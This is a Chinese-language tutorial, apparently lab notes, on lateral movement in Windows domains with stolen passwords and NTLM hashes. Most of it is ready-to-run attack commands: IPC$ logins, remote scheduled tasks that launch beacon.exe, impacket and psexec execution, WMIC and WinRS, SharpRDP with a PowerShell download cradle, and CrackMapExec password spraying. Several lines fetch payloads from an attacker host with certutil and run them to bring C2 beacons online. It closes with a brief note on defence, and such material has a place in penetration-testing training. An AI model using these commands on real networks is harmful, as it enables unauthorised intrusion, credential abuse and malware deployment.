基于口令凭据的横向移动:技术解析与实战
在内网渗透测试或真实攻击中,横向移动(Lateral Movement)是攻击者在获取了初始立足点后,扩展控制范围、寻找高价值目标(如域控制器、敏感数据服务器)的关键阶段。而口令凭据,无论是明文密码、哈希值还是Kerberos票据,往往是驱动这一过程最常见、最有效的“钥匙”。
本文将深入探讨攻击者如何利用获取到的口令凭据,结合多种技术和工具,在Windows域环境中进行横向移动。
看当前主机在域内还是域外
在尝试横向移动之前,首先需要明确当前控制的主机(当前主机)处于什么网络环境以及当前用户的权限级别
首先看自己是在域内还是本机主机用户
在域内
不在域内
不在域内而是administrator等的其他用户的权限的方式
提权到system,就可以使用域内的口令,和域取得通信(但是有的不行)
换成域内的用户上线(抓取明文密码)
通过cs
通过kerbrute(枚举出用户)
获取密码 (域内用户,或者system)
IPC域内横向移动
开启才可以
看网络探针,看有哪些地址存在
cs,端口扫描
net view如果扫描不出来可能是这个开了
IPC$利用命令:
net use \\server\ipc$ "password" /user:计算机名\username # 工作组(本地用户登陆)
域内用户权限测试:webadmin权限
net use \\192.168.3.32\ipc$ "admin!@#45" /user:sqlserver\administrator
net use \\192.168.3.32\ipc$ "admin!@#45" /user:god\dbadmin
net use \\192.168.3.32\ipc$ "admin!@#45" /user:administrator
理解为登录域里的administrator而不是登录目标的administrator用户域外用户权限测试:administrator权限
net use \\192.168.3.32\ipc$ "admin!@#45" /user:administrator
//登录本机administrator用户
net use \\192.168.3.32\ipc$ "admin!@#45" /user:sqlserver\administrator
//登录sqlserver机器的administrator用户
net use \\192.168.3.32\ipc$ "admin!@#45" /user:god\dbadmin
//登录god域的administrator用户
net use \\server\ipc$ "password" /user:域名\username #域内
dir \\xx.xx.xx.xx\C$\ # 查看文件列表
copy \\xx.xx.xx.xx\C$\1.bat 1.bat # 下载文件
copy 1.bat \\xx.xx.xx.xx\C$ # 复制文件
net use \\xx.xx.xx.xx\C$\1.bat /del # 删除IPC
net view xx.xx.xx.xx # 查看对方共享
首先登陆
查看是否成功
生成后门到主机一
然后复制到内网主机2的c盘,然后尝试执行
[at] & [schtasks]计划任务配合
1、at < Windows2012
copy beacon.exe \\192.168.3.21\c$ #拷贝执行文件到目标机器
at \\192.168.3.21 15:47 c:\beacon.exe #添加计划任务
15:47是时间
2、schtasks >=Windows2012
copy beacon.exe \\192.168.3.32\c$ #拷贝执行文件到目标机器
schtasks /create /s 192.168.3.32 /ru "SYSTEM" /tn beacon /sc DAILY /tr c:\beacon.exe /F #创beacon任务对应执行文件
schtasks /run /s 192.168.3.32 /tn beacon /i #运行beacon任务
schtasks /delete /s 192.168.3.32 /tn beacon /f#删除beacon任务
然后执行这个(创建计划任务)
运行任务
获得域控后
工具版
impact cs插件
impact套件(可以hash登陆)
https://github.com/fortra/impacket
首先建立sockets的节点
然后
执行ver指令
python atexec.py god/administrator:Admin12345@192.168.3.21 "ver"
python atexec.py -hashes :ccef208c6485269c20db2cad21734fe7 ./administrator@192.168.3.21 "whoami"
上线方法(未解决)
1.下载后门(通过ftp)
2.用powershell无文件上线
其他工具
yyds!分享几个大佬的内网横向工具
wmi(不会留下痕迹)
wmic(内置,无回显)
攻击前提
首先查看有哪些服务
发现有80端口开启
shell net start
发现iis服务,找到目录文件
考虑是用正向连接还是反向连接
尝试ping
如果ping没问题就是防火墙没开,就可以正向
用棱角生成下载地址
shell wmic /node:192.168.3.32 /user:sqlserver\administrator /password:admin!@#45 process call create "certutil -urlcache -split -f http://192.168.3.31/beacon.exe c:/beacon.exe"
Wmiexec-impacket(支持hash,且有回显)
python wmiexec.py sqlserver/administrator:admin!@#45@192.168.3.32
(交互式)
python wmiexec.py sqlserver/administrator:admin!@#45@192.168.3.32 "certutil -urlcache -split -f http://192.168.3.31/beacon.exe c:/beacon.exe"
下载后门,然后执行
hash连接
python wmiexec.py -hashes :518b98ad4178a53695dc997aa02d455c sqlserver/administrator@192.168.3.32 "whoami"
cs插件(不建议)
、
SMB
psexec(微软内置)
内部:(交互式 windows官方工具)
PsTools - Sysinternals | Microsoft Learn
psexec \\192.168.3.32 -u administrator -p admin!@#45 -s cmd
就成功拿到他的shell(但是它只能在windows本机有交互,在cs上没有交互
smbexec-impacket
外部:(交互式)
python smbexec.py sqlserver/administrator:admin!@#45@192.168.3.32
python smbexec.py -hashes :518b98ad4178a53695dc997aa02d455c sqlserver/administrator@192.168.3.32
cs自带的插件
一般用前面两种
DCOM(条件苛刻)
win7之后才有powershell
python dcomexec.py sqlserver/administrator:admin!@#45@192.168.3.32
交互式
python dcomexec.py sqlserver/administrator:admin!@#45@192.168.3.32 whoami
执行命令、
python dcomexec.py sqlserver/administrator:@192.168.3.32 whoami -hashes :518b98ad4178a53695dc997aa02d455c
WinrRM&WinRS
扫不到有可能是没有开启服务,也有 可能是开了防火墙
winrs -r:192.168.3.32 -u:192.168.3.32\administrator -p:admin!@#45 whoami
3.上线C2:
winrs -r:192.168.3.32 -u:192.168.3.32\administrator -p:admin!@#45 "cmd.exe /c certutil -urlcache -split -f http://192.168.3.31/4444.exe 4444.exe & 4444.exe"
但是在cs上不行
其他解决:通过winrm.cmd来进行命令执行
shell winrm invoke Create wmicimv2/win32_process @{CommandLine="cmd.exe /c certutil -urlcache -split -f http://192.168.3.31/4444.exe 4444.exe & 4444.exe"} -r:sqlserver -u:sqlserver\administrator -p:admin!@#45
cs巧用
RDP上线
建立sockes代理
就通讯上了
建立端口转发映射(不是很懂)
http隧道转发
rdp hash连接很难
SharpRDP(明文连接)比较鸡肋
https://github.com/0xthirteen/SharpRDP
是一款可以不借助远程桌面GUI的情况下,通过RDP协议进行命令执行的程序。
SharpRDP.exe computername=192.168.3.32 command="powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.3.31:83/a'))"" username=Administrator password=admin!@#45
CrackMapExec-密码喷射
kali建立代理
Github:https://github.com/Porchetta-Industries/CrackMapExec
官方手册:https://www.crackmapexec.wiki/
使用案例:域渗透之CrackMapExec - Yangsir34 - 博客园
2、密码喷射-域用户登录PTH:
主要参数:-u用户,-p密码,-H哈希值,-d指定域,-x执行命令
主要功能:多协议探针,字典设置,本地及域喷射,命令回显执行等
proxychains4 crackmapexec smb 192.168.3.21-32 -u user.txt -H 518b98ad4178a53695dc997aa02d455c #域用户HASH登录
proxychains4 crackmapexec smb 192.168.3.21-32 -u administrator -p 'admin!@#45' --local-auth #本地用户明文登录
proxychains4 crackmapexec smb 192.168.3.21-32 -u administrator -p 'admin!@#45' --local-auth -x "whoami" #本地用户明文登录并执行命令
proxychains4 crackmapexec smb 192.168.3.21-32 -u administrator -H 518b98ad4178a53695dc997aa02d455c --local-auth #本地用户HASH登录
proxychains4 crackmapexec smb 192.168.3.21-32 -u user.txt -H 518b98ad4178a53695dc997aa02d455c --local-auth -x "cmd.exe /c certutil -urlcache -split -f http://192.168.3.31/4444.exe 4444.exe & 4444.exe"
proxychains4 crackmapexec smb 192.168.3.21-32 -u administrator -p pass.txt --local-auth -x "cmd.exe /c certutil -urlcache -split -f http://192.168.3.31/4444.exe 4444.exe & 4444.exe"
proxychains4 crackmapexec smb 192.168.3.21-32 -u user.txt -H 518b98ad4178a53695dc997aa02d455c --local-auth --users
基于口令凭据的横向移动是内网渗透中最核心也是最有效的手段之一。攻击者利用各种技术和工具,结合窃取到的凭据,通过SMB(IPC$, SCM/PsExec)、WMI、DCOM、WinRM、RDP等多种协议和服务,在目标网络中层层推进。理解这些技术的原理、前提和使用方法,对于渗透测试人员扩展战果至关重要,同时也为防守方提供了明确的防御方向(如加强凭据管理、最小权限原则、及时打补丁、加强日志监控和行为分析等)。